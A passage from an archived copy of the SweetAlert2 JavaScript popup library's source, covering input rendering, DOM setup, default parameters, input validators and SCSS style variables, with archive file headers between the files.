    return error(`Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "${params.input}"`)
  }

  const inputContainer = getInputContainer(params.input)
  const input = renderInputType[params.input](inputContainer, params)
  dom.show(input)

  // input autofocus
  setTimeout(() => {
    dom.focusInput(input)
  })
}

const removeAttributes = (input) => {
  for (let i = 0; i < input.attributes.length; i++) {
    const attrName = input.attributes[i].name
    if (!['type', 'value', 'style'].includes(attrName)) {
      input.removeAttribute(attrName)
    }
  }
}

const setAttributes = (inputType, inputAttributes) => {
  const input = dom.getInput(dom.getContent(), inputType)
  if (!input) {
    return
  }

  removeAttributes(input)

  for (const attr in inputAttributes) {
    // Do not set a placeholder for <input type="range">
    // it'll crash Edge, #1298
    if (inputType === 'range' && attr === 'placeholder') {
      continue
    }

    input.setAttribute(attr, inputAttributes[attr])
  }
}

const setCustomClass = (params) => {
  const inputContainer = getInputContainer(params.input)
  if (params.customClass) {
    dom.addClass(inputContainer, params.customClass.input)
  }
}

const setInputPlaceholder = (input, params) => {
  if (!input.placeholder || params.inputPlaceholder) {
    input.placeholder = params.inputPlaceholder
  }
}

const getInputContainer = (inputType) => {
  const inputClass = swalClasses[inputType] ? swalClasses[inputType] : swalClasses.input
  return dom.getChildByClass(dom.getContent(), inputClass)
}

const renderInputType = {}

renderInputType.text =
renderInputType.email =
renderInputType.password =
renderInputType.number =
renderInputType.tel =
renderInputType.url = (input, params) => {
  if (typeof params.inputValue === 'string' || typeof params.inputValue === 'number') {
    input.value = params.inputValue
  } else if (!isPromise(params.inputValue)) {
    warn(`Unexpected type of inputValue! Expected "string", "number" or "Promise", got "${typeof params.inputValue}"`)
  }
  setInputPlaceholder(input, params)
  input.type = params.input
  return input
}

renderInputType.file = (input, params) => {
  setInputPlaceholder(input, params)
  return input
}

renderInputType.range = (range, params) => {
  const rangeInput = range.querySelector('input')
  const rangeOutput = range.querySelector('output')
  rangeInput.value = params.inputValue
  rangeInput.type = params.input
  rangeOutput.value = params.inputValue
  return range
}

renderInputType.select = (select, params) => {
  select.textContent = ''
  if (params.inputPlaceholder) {
    const placeholder = document.createElement('option')
    dom.setInnerHtml(placeholder, params.inputPlaceholder)
    placeholder.value = ''
    placeholder.disabled = true
    placeholder.selected = true
    select.appendChild(placeholder)
  }
  return select
}

renderInputType.radio = (radio) => {
  radio.textContent = ''
  return radio
}

renderInputType.checkbox = (checkboxContainer, params) => {
  const checkbox = dom.getInput(dom.getContent(), 'checkbox')
  checkbox.value = 1
  checkbox.id = swalClasses.checkbox
  checkbox.checked = Boolean(params.inputValue)
  const label = checkboxContainer.querySelector('span')
  dom.setInnerHtml(label, params.inputPlaceholder)
  return checkboxContainer
}

renderInputType.textarea = (textarea, params) => {
  textarea.value = params.inputValue
  setInputPlaceholder(textarea, params)

  if ('MutationObserver' in window) { // #1699
    const initialPopupWidth = parseInt(window.getComputedStyle(dom.getPopup()).width)
    const popupPadding = parseInt(window.getComputedStyle(dom.getPopup()).paddingLeft) + parseInt(window.getComputedStyle(dom.getPopup()).paddingRight)
    const outputsize = () => {
      const contentWidth = textarea.offsetWidth + popupPadding
      if (contentWidth > initialPopupWidth) {
        dom.getPopup().style.width = `${contentWidth}px`
      } else {
        dom.getPopup().style.width = null
      }
    }
    new MutationObserver(outputsize).observe(textarea, {
      attributes: true, attributeFilter: ['style']
    })
  }

  return textarea
}
PK"��\�%��II!utils/dom/parseHtmlToContainer.jsnu�[���import { setInnerHtml } from './domUtils.js'

export const parseHtmlToContainer = (param, target) => {
  // DOM element
  if (param instanceof HTMLElement) {
    target.appendChild(param)

  // Object
  } else if (typeof param === 'object') {
    handleObject(param, target)

  // Plain string
  } else if (param) {
    setInnerHtml(target, param)
  }
}

const handleObject = (param, target) => {
  // JQuery element(s)
  if (param.jquery) {
    handleJqueryElem(target, param)

  // For other objects use their string representation
  } else {
    setInnerHtml(target, param.toString())
  }
}

const handleJqueryElem = (target, elem) => {
  target.textContent = ''
  if (0 in elem) {
    for (let i = 0; i in elem; i++) {
      target.appendChild(elem[i].cloneNode(true))
    }
  } else {
    target.appendChild(elem.cloneNode(true))
  }
}
PK"��\L��<<utils/dom/init.jsnu�[���import { swalClasses, iconTypes } from '../classes.js'
import { getContainer, getPopup, getContent } from './getters.js'
import { addClass, removeClass, getChildByClass, setInnerHtml } from './domUtils.js'
import { isNodeEnv } from '../isNodeEnv.js'
import { error } from '../utils.js'
import sweetAlert from '../../sweetalert2.js'

const sweetHTML = `
 <div aria-labelledby="${swalClasses.title}" aria-describedby="${swalClasses.content}" class="${swalClasses.popup}" tabindex="-1">
   <div class="${swalClasses.header}">
     <ul class="${swalClasses['progress-steps']}"></ul>
     <div class="${swalClasses.icon} ${iconTypes.error}"></div>
     <div class="${swalClasses.icon} ${iconTypes.question}"></div>
     <div class="${swalClasses.icon} ${iconTypes.warning}"></div>
     <div class="${swalClasses.icon} ${iconTypes.info}"></div>
     <div class="${swalClasses.icon} ${iconTypes.success}"></div>
     <img class="${swalClasses.image}" />
     <h2 class="${swalClasses.title}" id="${swalClasses.title}"></h2>
     <button type="button" class="${swalClasses.close}"></button>
   </div>
   <div class="${swalClasses.content}">
     <div id="${swalClasses.content}" class="${swalClasses['html-container']}"></div>
     <input class="${swalClasses.input}" />
     <input type="file" class="${swalClasses.file}" />
     <div class="${swalClasses.range}">
       <input type="range" />
       <output></output>
     </div>
     <select class="${swalClasses.select}"></select>
     <div class="${swalClasses.radio}"></div>
     <label for="${swalClasses.checkbox}" class="${swalClasses.checkbox}">
       <input type="checkbox" />
       <span class="${swalClasses.label}"></span>
     </label>
     <textarea class="${swalClasses.textarea}"></textarea>
     <div class="${swalClasses['validation-message']}" id="${swalClasses['validation-message']}"></div>
   </div>
   <div class="${swalClasses.actions}">
     <div class="${swalClasses.loader}"></div>
     <button type="button" class="${swalClasses.confirm}"></button>
     <button type="button" class="${swalClasses.deny}"></button>
     <button type="button" class="${swalClasses.cancel}"></button>
   </div>
   <div class="${swalClasses.footer}"></div>
   <div class="${swalClasses['timer-progress-bar-container']}">
     <div class="${swalClasses['timer-progress-bar']}"></div>
   </div>
 </div>
`.replace(/(^|\n)\s*/g, '')

const resetOldContainer = () => {
  const oldContainer = getContainer()
  if (!oldContainer) {
    return false
  }

  oldContainer.parentNode.removeChild(oldContainer)
  removeClass(
    [document.documentElement, document.body],
    [
      swalClasses['no-backdrop'],
      swalClasses['toast-shown'],
      swalClasses['has-column']
    ]
  )

  return true
}

let oldInputVal // IE11 workaround, see #1109 for details
const resetValidationMessage = (e) => {
  if (sweetAlert.isVisible() && oldInputVal !== e.target.value) {
    sweetAlert.resetValidationMessage()
  }
  oldInputVal = e.target.value
}

const addInputChangeListeners = () => {
  const content = getContent()

  const input = getChildByClass(content, swalClasses.input)
  const file = getChildByClass(content, swalClasses.file)
  const range = content.querySelector(`.${swalClasses.range} input`)
  const rangeOutput = content.querySelector(`.${swalClasses.range} output`)
  const select = getChildByClass(content, swalClasses.select)
  const checkbox = content.querySelector(`.${swalClasses.checkbox} input`)
  const textarea = getChildByClass(content, swalClasses.textarea)

  input.oninput = resetValidationMessage
  file.onchange = resetValidationMessage
  select.onchange = resetValidationMessage
  checkbox.onchange = resetValidationMessage
  textarea.oninput = resetValidationMessage

  range.oninput = (e) => {
    resetValidationMessage(e)
    rangeOutput.value = range.value
  }

  range.onchange = (e) => {
    resetValidationMessage(e)
    range.nextSibling.value = range.value
  }
}

const getTarget = (target) => typeof target === 'string' ? document.querySelector(target) : target

const setupAccessibility = (params) => {
  const popup = getPopup()

  popup.setAttribute('role', params.toast ? 'alert' : 'dialog')
  popup.setAttribute('aria-live', params.toast ? 'polite' : 'assertive')
  if (!params.toast) {
    popup.setAttribute('aria-modal', 'true')
  }
}

const setupRTL = (targetElement) => {
  if (window.getComputedStyle(targetElement).direction === 'rtl') {
    addClass(getContainer(), swalClasses.rtl)
  }
}

/*
 * Add modal + backdrop to DOM
 */
export const init = (params) => {
  // Clean up the old popup container if it exists
  const oldContainerExisted = resetOldContainer()

  /* istanbul ignore if */
  if (isNodeEnv()) {
    error('SweetAlert2 requires document to initialize')
    return
  }

  const container = document.createElement('div')
  container.className = swalClasses.container
  if (oldContainerExisted) {
    addClass(container, swalClasses['no-transition'])
  }
  setInnerHtml(container, sweetHTML)

  const targetElement = getTarget(params.target)
  targetElement.appendChild(container)

  setupAccessibility(params)
  setupRTL(targetElement)
  addInputChangeListeners()
}
PK"��\��/
/
utils/dom/getters.jsnu�[���import { swalClasses } from '../classes.js'
import { uniqueArray, toArray } from '../utils.js'
import { isVisible } from './domUtils.js'

export const getContainer = () => document.body.querySelector(`.${swalClasses.container}`)

export const elementBySelector = (selectorString) => {
  const container = getContainer()
  return container ? container.querySelector(selectorString) : null
}

const elementByClass = (className) => {
  return elementBySelector(`.${className}`)
}

export const getPopup = () => elementByClass(swalClasses.popup)

export const getIcons = () => {
  const popup = getPopup()
  return toArray(popup.querySelectorAll(`.${swalClasses.icon}`))
}

export const getIcon = () => {
  const visibleIcon = getIcons().filter((icon) => isVisible(icon))
  return visibleIcon.length ? visibleIcon[0] : null
}

export const getTitle = () => elementByClass(swalClasses.title)

export const getContent = () => elementByClass(swalClasses.content)

export const getHtmlContainer = () => elementByClass(swalClasses['html-container'])

export const getImage = () => elementByClass(swalClasses.image)

export const getProgressSteps = () => elementByClass(swalClasses['progress-steps'])

export const getValidationMessage = () => elementByClass(swalClasses['validation-message'])

export const getConfirmButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.confirm}`)

export const getDenyButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.deny}`)

export const getLoader = () => elementBySelector(`.${swalClasses.loader}`)

export const getCancelButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.cancel}`)

export const getActions = () => elementByClass(swalClasses.actions)

export const getHeader = () => elementByClass(swalClasses.header)

export const getFooter = () => elementByClass(swalClasses.footer)

export const getTimerProgressBar = () => elementByClass(swalClasses['timer-progress-bar'])

export const getCloseButton = () => elementByClass(swalClasses.close)

// https://github.com/jkup/focusable/blob/master/index.js
const focusable = `
  a[href],
  area[href],
  input:not([disabled]),
  select:not([disabled]),
  textarea:not([disabled]),
  button:not([disabled]),
  iframe,
  object,
  embed,
  [tabindex="0"],
  [contenteditable],
  audio[controls],
  video[controls],
  summary
`

export const getFocusableElements = () => {
  const focusableElementsWithTabindex = toArray(
    getPopup().querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])')
  )
  // sort according to tabindex
    .sort((a, b) => {
      a = parseInt(a.getAttribute('tabindex'))
      b = parseInt(b.getAttribute('tabindex'))
      if (a > b) {
        return 1
      } else if (a < b) {
        return -1
      }
      return 0
    })

  const otherFocusableElements = toArray(
    getPopup().querySelectorAll(focusable)
  ).filter(el => el.getAttribute('tabindex') !== '-1')

  return uniqueArray(focusableElementsWithTabindex.concat(otherFocusableElements)).filter(el => isVisible(el))
}

export const isModal = () => {
  return !isToast() && !document.body.classList.contains(swalClasses['no-backdrop'])
}

export const isToast = () => {
  return document.body.classList.contains(swalClasses['toast-shown'])
}

export const isLoading = () => {
  return getPopup().hasAttribute('data-loading')
}
PK"��\�6�utils/ieFix.jsnu�[���/* istanbul ignore file */
import * as dom from './dom/index.js'

// https://stackoverflow.com/a/21825207
const isIE11 = () => !!window.MSInputMethodContext && !!document.documentMode

// Fix IE11 centering sweetalert2/issues/933
const fixVerticalPositionIE = () => {
  const container = dom.getContainer()
  const popup = dom.getPopup()

  container.style.removeProperty('align-items')
  if (popup.offsetTop < 0) {
    container.style.alignItems = 'flex-start'
  }
}

export const IEfix = () => {
  if (typeof window !== 'undefined' && isIE11()) {
    fixVerticalPositionIE()
    window.addEventListener('resize', fixVerticalPositionIE)
  }
}

export const undoIEfix = () => {
  if (typeof window !== 'undefined' && isIE11()) {
    window.removeEventListener('resize', fixVerticalPositionIE)
  }
}
PK"��\w���}}utils/Timer.jsnu�[���export default class Timer {
  constructor (callback, delay) {
    this.callback = callback
    this.remaining = delay
    this.running = false

    this.start()
  }

  start () {
    if (!this.running) {
      this.running = true
      this.started = new Date()
      this.id = setTimeout(this.callback, this.remaining)
    }
    return this.remaining
  }

  stop () {
    if (this.running) {
      this.running = false
      clearTimeout(this.id)
      this.remaining -= new Date() - this.started
    }
    return this.remaining
  }

  increase (n) {
    const running = this.running
    if (running) {
      this.stop()
    }
    this.remaining += n
    if (running) {
      this.start()
    }
    return this.remaining
  }

  getTimerLeft () {
    if (this.running) {
      this.stop()
      this.start()
    }
    return this.remaining
  }

  isRunning () {
    return this.running
  }
}
PK"��\�����utils/openPopup.jsnu�[���import * as dom from './dom/index.js'
import { swalClasses } from './classes.js'
import { fixScrollbar } from './scrollbarFix.js'
import { iOSfix } from './iosFix.js'
import { IEfix } from './ieFix.js'
import { setAriaHidden } from './aria.js'
import globalState from '../globalState.js'

export const SHOW_CLASS_TIMEOUT = 10

/**
 * Open popup, add necessary classes and styles, fix scrollbar
 *
 * @param params
 */
export const openPopup = (params) => {
  const container = dom.getContainer()
  const popup = dom.getPopup()

  if (typeof params.willOpen === 'function') {
    params.willOpen(popup)
  } else if (typeof params.onBeforeOpen === 'function') {
    params.onBeforeOpen(popup) // @deprecated
  }

  const bodyStyles = window.getComputedStyle(document.body)
  const initialBodyOverflow = bodyStyles.overflowY
  addClasses(container, popup, params)

  // scrolling is 'hidden' until animation is done, after that 'auto'
  setTimeout(() => {
    setScrollingVisibility(container, popup)
  }, SHOW_CLASS_TIMEOUT)

  if (dom.isModal()) {
    fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow)
    setAriaHidden()
  }

  if (!dom.isToast() && !globalState.previousActiveElement) {
    globalState.previousActiveElement = document.activeElement
  }

  runDidOpen(popup, params)

  dom.removeClass(container, swalClasses['no-transition'])
}

const runDidOpen = (popup, params) => {
  if (typeof params.didOpen === 'function') {
    setTimeout(() => params.didOpen(popup))
  } else if (typeof params.onOpen === 'function') {
    setTimeout(() => params.onOpen(popup)) // @deprecated
  }
}

const swalOpenAnimationFinished = (event) => {
  const popup = dom.getPopup()
  if (event.target !== popup) {
    return
  }
  const container = dom.getContainer()
  popup.removeEventListener(dom.animationEndEvent, swalOpenAnimationFinished)
  container.style.overflowY = 'auto'
}

const setScrollingVisibility = (container, popup) => {
  if (dom.animationEndEvent && dom.hasCssAnimation(popup)) {
    container.style.overflowY = 'hidden'
    popup.addEventListener(dom.animationEndEvent, swalOpenAnimationFinished)
  } else {
    container.style.overflowY = 'auto'
  }
}

const fixScrollContainer = (container, scrollbarPadding, initialBodyOverflow) => {
  iOSfix()
  IEfix()

  if (scrollbarPadding && initialBodyOverflow !== 'hidden') {
    fixScrollbar()
  }

  // sweetalert2/issues/1247
  setTimeout(() => {
    container.scrollTop = 0
  })
}

const addClasses = (container, popup, params) => {
  dom.addClass(container, params.showClass.backdrop)
  // the workaround with setting/unsetting opacity is needed for #2019 and 2059
  popup.style.setProperty('opacity', '0', 'important')
  dom.show(popup)
  setTimeout(() => {
    // Animate popup right after showing it
    dom.addClass(popup, params.showClass.popup)
    // and remove the opacity workaround
    popup.style.removeProperty('opacity')
  }, SHOW_CLASS_TIMEOUT) // 10ms in order to fix #2062

  dom.addClass([document.documentElement, document.body], swalClasses.shown)
  if (params.heightAuto && params.backdrop && !params.toast) {
    dom.addClass([document.documentElement, document.body], swalClasses['height-auto'])
  }
}
PK"��\㷝�IIutils/params.jsnu�[���import { warn, warnAboutDeprecation } from '../utils/utils.js'

export const defaultParams = {
  title: '',
  titleText: '',
  text: '',
  html: '',
  footer: '',
  icon: undefined,
  iconColor: undefined,
  iconHtml: undefined,
  toast: false,
  animation: true,
  showClass: {
    popup: 'swal2-show',
    backdrop: 'swal2-backdrop-show',
    icon: 'swal2-icon-show',
  },
  hideClass: {
    popup: 'swal2-hide',
    backdrop: 'swal2-backdrop-hide',
    icon: 'swal2-icon-hide',
  },
  customClass: undefined,
  target: 'body',
  backdrop: true,
  heightAuto: true,
  allowOutsideClick: true,
  allowEscapeKey: true,
  allowEnterKey: true,
  stopKeydownPropagation: true,
  keydownListenerCapture: false,
  showConfirmButton: true,
  showDenyButton: false,
  showCancelButton: false,
  preConfirm: undefined,
  confirmButtonText: 'OK',
  confirmButtonAriaLabel: '',
  confirmButtonColor: undefined,
  denyButtonText: 'No',
  denyButtonAriaLabel: '',
  denyButtonColor: undefined,
  cancelButtonText: 'Cancel',
  cancelButtonAriaLabel: '',
  cancelButtonColor: undefined,
  buttonsStyling: true,
  reverseButtons: false,
  focusConfirm: true,
  focusDeny: false,
  focusCancel: false,
  showCloseButton: false,
  closeButtonHtml: '&times;',
  closeButtonAriaLabel: 'Close this dialog',
  loaderHtml: '',
  showLoaderOnConfirm: false,
  imageUrl: undefined,
  imageWidth: undefined,
  imageHeight: undefined,
  imageAlt: '',
  timer: undefined,
  timerProgressBar: false,
  width: undefined,
  padding: undefined,
  background: undefined,
  input: undefined,
  inputPlaceholder: '',
  inputValue: '',
  inputOptions: {},
  inputAutoTrim: true,
  inputAttributes: {},
  inputValidator: undefined,
  validationMessage: undefined,
  grow: false,
  position: 'center',
  progressSteps: [],
  currentProgressStep: undefined,
  progressStepsDistance: undefined,
  onBeforeOpen: undefined,
  onOpen: undefined,
  willOpen: undefined,
  didOpen: undefined,
  onRender: undefined,
  didRender: undefined,
  onClose: undefined,
  onAfterClose: undefined,
  willClose: undefined,
  didClose: undefined,
  onDestroy: undefined,
  didDestroy: undefined,
  scrollbarPadding: true
}

export const updatableParams = [
  'allowEscapeKey',
  'allowOutsideClick',
  'background',
  'buttonsStyling',
  'cancelButtonAriaLabel',
  'cancelButtonColor',
  'cancelButtonText',
  'closeButtonAriaLabel',
  'closeButtonHtml',
  'confirmButtonAriaLabel',
  'confirmButtonColor',
  'confirmButtonText',
  'currentProgressStep',
  'customClass',
  'denyButtonAriaLabel',
  'denyButtonColor',
  'denyButtonText',
  'didClose',
  'didDestroy',
  'footer',
  'hideClass',
  'html',
  'icon',
  'iconColor',
  'imageAlt',
  'imageHeight',
  'imageUrl',
  'imageWidth',
  'onAfterClose',
  'onClose',
  'onDestroy',
  'progressSteps',
  'reverseButtons',
  'showCancelButton',
  'showCloseButton',
  'showConfirmButton',
  'showDenyButton',
  'text',
  'title',
  'titleText',
  'willClose',
]

export const deprecatedParams = {
  animation: 'showClass" and "hideClass',
  onBeforeOpen: 'willOpen',
  onOpen: 'didOpen',
  onRender: 'didRender',
  onClose: 'willClose',
  onAfterClose: 'didClose',
  onDestroy: 'didDestroy',
}

const toastIncompatibleParams = [
  'allowOutsideClick',
  'allowEnterKey',
  'backdrop',
  'focusConfirm',
  'focusDeny',
  'focusCancel',
  'heightAuto',
  'keydownListenerCapture'
]

/**
 * Is valid parameter
 * @param {String} paramName
 */
export const isValidParameter = (paramName) => {
  return Object.prototype.hasOwnProperty.call(defaultParams, paramName)
}

/**
 * Is valid parameter for Swal.update() method
 * @param {String} paramName
 */
export const isUpdatableParameter = (paramName) => {
  return updatableParams.indexOf(paramName) !== -1
}

/**
 * Is deprecated parameter
 * @param {String} paramName
 */
export const isDeprecatedParameter = (paramName) => {
  return deprecatedParams[paramName]
}

const checkIfParamIsValid = (param) => {
  if (!isValidParameter(param)) {
    warn(`Unknown parameter "${param}"`)
  }
}

const checkIfToastParamIsValid = (param) => {
  if (toastIncompatibleParams.includes(param)) {
    warn(`The parameter "${param}" is incompatible with toasts`)
  }
}

const checkIfParamIsDeprecated = (param) => {
  if (isDeprecatedParameter(param)) {
    warnAboutDeprecation(param, isDeprecatedParameter(param))
  }
}

/**
 * Show relevant warnings for given params
 *
 * @param params
 */
export const showWarningsForParams = (params) => {
  for (const param in params) {
    checkIfParamIsValid(param)

    if (params.toast) {
      checkIfToastParamIsValid(param)
    }

    checkIfParamIsDeprecated(param)
  }
}

export default defaultParams
PK"��\�yPQIIutils/defaultInputValidators.jsnu�[���export default {
  email: (string, validationMessage) => {
    return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string)
      ? Promise.resolve()
      : Promise.resolve(validationMessage || 'Invalid email address')
  },
  url: (string, validationMessage) => {
    // taken from https://stackoverflow.com/a/3809435 with a small change from #1306 and #2013
    return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string)
      ? Promise.resolve()
      : Promise.resolve(validationMessage || 'Invalid URL')
  }
}
PK"��\�����utils/setParameters.jsnu�[���import { warn, callIfFunction } from './utils.js'
import * as dom from './dom/index.js'
import defaultInputValidators from './defaultInputValidators.js'

function setDefaultInputValidators (params) {
  // Use default `inputValidator` for supported input types if not provided
  if (!params.inputValidator) {
    Object.keys(defaultInputValidators).forEach((key) => {
      if (params.input === key) {
        params.inputValidator = defaultInputValidators[key]
      }
    })
  }
}

function validateCustomTargetElement (params) {
  // Determine if the custom target element is valid
  if (
    !params.target ||
    (typeof params.target === 'string' && !document.querySelector(params.target)) ||
    (typeof params.target !== 'string' && !params.target.appendChild)
  ) {
    warn('Target parameter is not valid, defaulting to "body"')
    params.target = 'body'
  }
}

/**
 * Set type, text and actions on popup
 *
 * @param params
 * @returns {boolean}
 */
export default function setParameters (params) {
  setDefaultInputValidators(params)

  // showLoaderOnConfirm && preConfirm
  if (params.showLoaderOnConfirm && !params.preConfirm) {
    warn(
      'showLoaderOnConfirm is set to true, but preConfirm is not defined.\n' +
      'showLoaderOnConfirm should be used together with preConfirm, see usage example:\n' +
      'https://sweetalert2.github.io/#ajax-request'
    )
  }

  // params.animation will be actually used in renderPopup.js
  // but in case when params.animation is a function, we need to call that function
  // before popup (re)initialization, so it'll be possible to check Swal.isVisible()
  // inside the params.animation function
  params.animation = callIfFunction(params.animation)

  validateCustomTargetElement(params)

  // Replace newlines with <br> in title
  if (typeof params.title === 'string') {
    params.title = params.title.split('\n').join('<br />')
  }

  dom.init(params)
}
PK"��\+��6��utils/iosFix.jsnu�[���/* istanbul ignore file */
import * as dom from './dom/index.js'
import { swalClasses } from '../utils/classes.js'

// Fix iOS scrolling http://stackoverflow.com/q/39626302

export const iOSfix = () => {
  const iOS = (/iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream) || (navigator.platform === 'MacIntel' && navigator.maxTouchPoints > 1)
  if (iOS && !dom.hasClass(document.body, swalClasses.iosfix)) {
    const offset = document.body.scrollTop
    document.body.style.top = `${offset * -1}px`
    dom.addClass(document.body, swalClasses.iosfix)
    lockBodyScroll()
    addBottomPaddingForTallPopups() // #1948
  }
}

const addBottomPaddingForTallPopups = () => {
  const safari = !navigator.userAgent.match(/(CriOS|FxiOS|EdgiOS|YaBrowser|UCBrowser)/i)
  if (safari) {
    const bottomPanelHeight = 44
    if (dom.getPopup().scrollHeight > window.innerHeight - bottomPanelHeight) {
      dom.getContainer().style.paddingBottom = `${bottomPanelHeight}px`
    }
  }
}

const lockBodyScroll = () => { // #1246
  const container = dom.getContainer()
  let preventTouchMove
  container.ontouchstart = (e) => {
    preventTouchMove = shouldPreventTouchMove(e.target)
  }
  container.ontouchmove = (e) => {
    if (preventTouchMove) {
      e.preventDefault()
      e.stopPropagation()
    }
  }
}

const shouldPreventTouchMove = (target) => {
  const container = dom.getContainer()
  if (target === container) {
    return true
  }
  if (
    !dom.isScrollable(container) &&
    target.tagName !== 'INPUT' && // #1603
    !(
      dom.isScrollable(dom.getContent()) && // #1944
      dom.getContent().contains(target)
    )
  ) {
    return true
  }
  return false
}

export const undoIOSfix = () => {
  if (dom.hasClass(document.body, swalClasses.iosfix)) {
    const offset = parseInt(document.body.style.top, 10)
    dom.removeClass(document.body, swalClasses.iosfix)
    document.body.style.top = ''
    document.body.scrollTop = (offset * -1)
  }
}
PK"��\�:8hhutils/classes.jsnu�[���export const swalPrefix = 'swal2-'

export const prefix = (items) => {
  const result = {}
  for (const i in items) {
    result[items[i]] = swalPrefix + items[i]
  }
  return result
}

export const swalClasses = prefix([
  'container',
  'shown',
  'height-auto',
  'iosfix',
  'popup',
  'modal',
  'no-backdrop',
  'no-transition',
  'toast',
  'toast-shown',
  'toast-column',
  'show',
  'hide',
  'close',
  'title',
  'header',
  'content',
  'html-container',
  'actions',
  'confirm',
  'deny',
  'cancel',
  'footer',
  'icon',
  'icon-content',
  'image',
  'input',
  'file',
  'range',
  'select',
  'radio',
  'checkbox',
  'label',
  'textarea',
  'inputerror',
  'validation-message',
  'progress-steps',
  'active-progress-step',
  'progress-step',
  'progress-step-line',
  'loader',
  'loading',
  'styled',
  'top',
  'top-start',
  'top-end',
  'top-left',
  'top-right',
  'center',
  'center-start',
  'center-end',
  'center-left',
  'center-right',
  'bottom',
  'bottom-start',
  'bottom-end',
  'bottom-left',
  'bottom-right',
  'grow-row',
  'grow-column',
  'grow-fullscreen',
  'rtl',
  'timer-progress-bar',
  'timer-progress-bar-container',
  'scrollbar-measure',
  'icon-success',
  'icon-warning',
  'icon-info',
  'icon-question',
  'icon-error',
])

export const iconTypes = prefix([
  'success',
  'warning',
  'info',
  'question',
  'error'
])
PK"��\H���ssutils/isNodeEnv.jsnu�[���// Detect Node env
export const isNodeEnv = () => typeof window === 'undefined' || typeof document === 'undefined'
PK"��\���8kksweetalert2.jsnu�[���import SweetAlert from './SweetAlert.js'

const Swal = SweetAlert
Swal.default = Swal

export default Swal
PK"��\�]@�o o variables.scssnu�[���$swal2-white:         #fff !default;
$swal2-black:         #000 !default;
$swal2-outline-color: rgba(50, 100, 150, .4) !default;

// CONTAINER
$swal2-container-padding: .625em !default;

// BOX MODEL
$swal2-width: 32em !default;
$swal2-padding: 1.25em !default;
$swal2-border: none !default;
$swal2-border-radius: .3125em !default;
$swal2-box-shadow: #d9d9d9 !default;

// ANIMATIONS
$swal2-show-animation: swal2-show .3s !default;
$swal2-hide-animation: swal2-hide .15s forwards !default;

// BACKGROUND
$swal2-background: $swal2-white !default;

// TYPOGRAPHY
$swal2-font: inherit !default;
$swal2-font-size: 1rem !default;

// BACKDROP
$swal2-backdrop: rgba($swal2-black, .4) !default;
$swal2-backdrop-transition: background-color .1s !default;

// HEADER
$swal2-header-padding: 0 1.8em !default;

// ICONS
$swal2-icon-size: 5em !default;
$swal2-icon-animations: true !default;
$swal2-icon-margin: 1.25em auto 1.875em !default;
$swal2-icon-zoom: null !default;
$swal2-success: #a5dc86 !default;
$swal2-success-border: rgba($swal2-success, .3) !default;
$swal2-error: #f27474 !default;
$swal2-warning: #f8bb86 !default;
$swal2-info: #3fc3ee !default;
$swal2-question: #87adbd !default;
$swal2-icon-font-family: inherit !default;

// IMAGE
$swal2-image-margin: 1.25em auto !default;

// TITLE
$swal2-title-margin: 0 0 .4em !default;
$swal2-title-color: lighten($swal2-black, 35) !default;
$swal2-title-font-size: 1.875em !default;

// CONTENT
$swal2-content-justify-content: center !default;
$swal2-content-margin: 0 !default;
$swal2-content-padding: 0 1.6em !default;
$swal2-content-color: lighten($swal2-black, 33) !default;
$swal2-content-font-size: 1.125em !default;
$swal2-content-font-weight: normal !default;
$swal2-content-line-height: normal !default;
$swal2-content-text-align: center !default;
$swal2-content-word-wrap: break-word !default;

// INPUT
$swal2-input-margin: 1em auto !default;
$swal2-input-width: 100% !default;
$swal2-input-height: 2.625em !default;
$swal2-input-padding: 0 .75em !default;
$swal2-input-border: 1px solid lighten($swal2-black, 85) !default;
$swal2-input-border-radius: .1875em !default;
$swal2-input-box-shadow: inset 0 1px 1px rgba($swal2-black, .06) !default;
$swal2-input-focus-border: 1px solid #b4dbed !default;
$swal2-input-focus-outline: none !default;
$swal2-input-focus-box-shadow: 0 0 3px #c4e6f5 !default;
$swal2-input-font-size: 1.125em !default;
$swal2-input-background: inherit !default;
$swal2-input-color: inherit !default;
$swal2-input-transition: border-color .3s, box-shadow .3s !default;

// TEXTAREA SPECIFIC VARIABLES
$swal2-textarea-height: 6.75em !default;
$swal2-textarea-padding: .75em !default;

// VALIDATION MESSAGE
$swal2-validation-message-justify-content: center !default;
$swal2-validation-message-padding: .625em !default;
$swal2-validation-message-background: lighten($swal2-black, 94) !default;
$swal2-validation-message-color: lighten($swal2-black, 40) !default;
$swal2-validation-message-font-size: 1em !default;
$swal2-validation-message-font-weight: 300 !default;
$swal2-validation-message-icon-background: $swal2-error !default;
$swal2-validation-message-icon-color: $swal2-white !default;
$swal2-validation-message-icon-zoom: null !default;

// PROGRESS STEPS
$swal2-progress-steps-background: inherit !default;
$swal2-progress-steps-margin: 0 0 1.25em !default;
$swal2-progress-steps-padding: 0 !default;
$swal2-progress-steps-font-weight: 600 !default;
$swal2-progress-steps-distance: 2.5em !default;
$swal2-progress-step-width: 2em;
$swal2-progress-step-height: 2em;
$swal2-progress-step-border-radius: 2em;
$swal2-progress-step-background: #add8e6 !default;
$swal2-progress-step-color: $swal2-white !default;
$swal2-active-step-background: #3085d6 !default;
$swal2-active-step-color: $swal2-white !default;

// FOOTER
$swal2-footer-margin: 1.25em 0 0 !default;
$swal2-footer-padding: 1em 0 0 !default;
$swal2-footer-border-color: #eee !default;
$swal2-footer-color: lighten($swal2-black, 33) !default;
$swal2-footer-font-size: 1em !default;

// TIMER POGRESS BAR
$swal2-timer-progress-bar-height: .25em;
$swal2-timer-progress-bar-background: rgba($swal2-black, .2) !default;

// CLOSE BUTTON
$swal2-close-button-align-items: center !default;
$swal2-close-button-justify-content: center !default;
$swal2-close-button-width: 1.2em !default;
$swal2-close-button-height: 1.2em !default;
$swal2-close-button-line-height: 1.2 !default;
$swal2-close-button-position: absolute !default;
$swal2-close-button-gap: 0 !default;
$swal2-close-button-transition: color .1s ease-out !default;
